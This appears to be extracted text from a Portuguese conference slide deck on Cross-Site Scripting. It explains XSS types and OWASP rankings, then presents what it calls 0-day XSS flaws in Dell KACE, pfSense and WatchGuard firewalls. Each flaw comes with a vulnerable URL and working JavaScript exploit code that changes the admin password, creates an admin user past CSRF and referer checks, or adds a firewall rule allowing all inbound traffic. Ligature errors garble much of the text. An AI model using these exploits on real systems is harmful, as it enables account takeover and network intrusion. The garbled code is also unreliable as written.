O documento discute os tipos de vulnerabilidades de Cross-Site Scripting (XSS), incluindo Reflected XSS, Stored XSS e DOM-Based XSS. Ele também explica como o XSS continua sendo uma das principais vulnerabilidades da OWASP Top 10 após 10 anos.
2. Composição do XSS.
Os XSS’s normalmente são divididos em 3 categorias
Reflected
XSS
Stored
XSS
DOM
Based
XSS
3. Reflected XSS
Quando o usuário envia uma requisição durante uma consulta em uma pagina
de pesquisa ou em uma variável.
Ex: hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected XSS")</script>
4. Stored XSS
Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada
vez que a pagina for acessada.
Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário qualquer pessoa que acesse o
Forum recebem a tela
5. DOM XSS
O DOM XSS é quando é inserido o payload dentro de uma variável uJlizada por
um script
Ex: Campos de interação em tempo real.
<img
src=search
onerror=alert('DOM_XSS')>
6. O XSS aparece no top 10 do OWASP desde
seu primeiro relatório.
OWASP
Top
10
–
2003
Top
VulnerabiliIes
in
Web
ApplicaIons
A1
Unvalidated
Parameters
A2
Broken
Access
Control
A3
Broken
Account
and
Session
Management
A4
Cross-‐Site
Scrip8ng
(XSS)
Flaws
A5
Buffer
Overflows
A6
Command
InjecIon
Flaws
A7
Error
Handling
Problems
A8
Insecure
Use
of
Cryptography
A9
Remote
AdministraIon
Flaws
A10
Web
and
ApplicaIon
Server
MisconfiguraIon
7. E após 10 Anos ele conJnua entre os 10
• OWASP
Top
10
–
2013
(New)
• A1
–
InjecIon
• A2
–
Broken
AuthenIcaIon
and
Session
Management
• A3
–
Cross-‐Site
Scrip8ng
(XSS)
• A4
–
Insecure
Direct
Object
References
• A5
–
Security
MisconfiguraIon
• A6
–
SensiIve
Data
Exposure
• A7
–
Missing
FuncIon
Level
Access
Control
• A8
–
Cross-‐Site
Request
Forgery
(CSRF)
• A9
–
Using
Known
Vulnerable
Components
• A10
–
Unvalidated
Redirects
and
Forwards
12. Falha #1 Dell KACE V.6.3.113397
Falha na pagina de criação de um Ticket.
Proteções:
Flag HFpOnly
Token CSRF
URL Vulnerável: /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</
script>
13. Pagina onde ocorre a vulnerabilidade
Alguma Ideia de como podemos ir além do alert?
15. Exploit para alteração da senha do ADMIN.
• Um
simples
Iframe
já
nos
possibilita
a
alteração
de
senha
do
usuário
administrador.
document.write('<iframe
width=0
height=0
name="xss"
src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10">
iframe>');
funcIon
append(senha)
{
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123";
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123";
window.frames['xss'].document.UserForm.submit();
}
setTimeout("append("Imeout")",2500);
16. Falha #2 PFSENSE V. 2.2.2
Falha na pagina de remoção de CapJves portais.
Proteções:
Token CSRF
Checagem do Header HTTP_REFERER
19. Exploit para criação de Usuário de Administração.
• O
Exploit
cria
um
formulário
dentro
da
pagina
vulnerável
obtém
o
TOKEN
CSRF
da
mesma
e
envia
o
form
para
a
pagina
de
criação
de
usuários
“bypassando”
a
proteção
do
HTTP_REFERER
document.write('<iframe
width=1000
height=1000
name="xss">
</iframe>');
xss.document.write('<body><form
id="CSRF"
acIon="hlp://192.168.217.100/system_usermanager.php"
method="post"
name="CSRF">');
xss.document.write('<input
name="__csrf_magic"
value=""</input>');
xss.document.write('<input
name="utype"
value="user">
</input>');
xss.document.write('<input
name="usernamefld"
value="teste">
</input>');
xss.document.write('<input
name="passwordfld1"
value="123456">
</input>');
xss.document.write('<input
name="passwordfld2"
value="123456">
</input>');
xss.document.write('<input
name="groups[]"
value="admins">
</input>');
xss.document.write('<input
name="save"
value="Save">
</input>');
xss.document.write('</form>');
xss.document.write('</body>');
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;
window.frames['xss'].document.CSRF.submit();
20. Falha #3 Firewall WatchGuard XTM V. 11.10.B473826
Falha na pagina de Gerenciamento de Access Point.
Proteções:
Token CSRF
Flag HFpOnly
21. Pagina onde ocorre a vulnerabilidade
URL Vulneravel: /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script>
Ideias ??
23. Exploit.
• Vamos
usar
uma
função
JSON
que
envie
via
post
todas
informações
necessárias
para
criação
de
uma
poliIca
que
permita
tudo
de
fora
para
dentro
da
rede.
$.ajax({
type:
"POST",
url:
"hlps://10.0.1.1:8080/put_data/",
data:
'{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":
{"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-‐
Rule","enabled":true,"descripIon":"Policy
added
on
2015-‐05-‐005T18:02:38-‐03:00.","property":
0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":
{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-‐External","address_type":-‐1,"tunnel_type":false,"name":"","obj":null}],"to_list":
[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-‐
Trusted","address_type":-‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always
On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled":
0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng":
1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":
0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method":
0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled":
0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp":
0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list":
[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":
1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash":
{},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs":
[{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces":
[{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in€_list":[],"helper_tunnel_list":[],"helper_alias_list":
[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":
[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list":
[],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list":
[],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',
contentType:
"applicaIon/json;
charset=UTF-‐8",
accept:
"*/*",
dataType:
"json",
24. As 3 vulnerabilidades
apresentadas aqui são 0days,
Baixem e façam seus
próprios testes J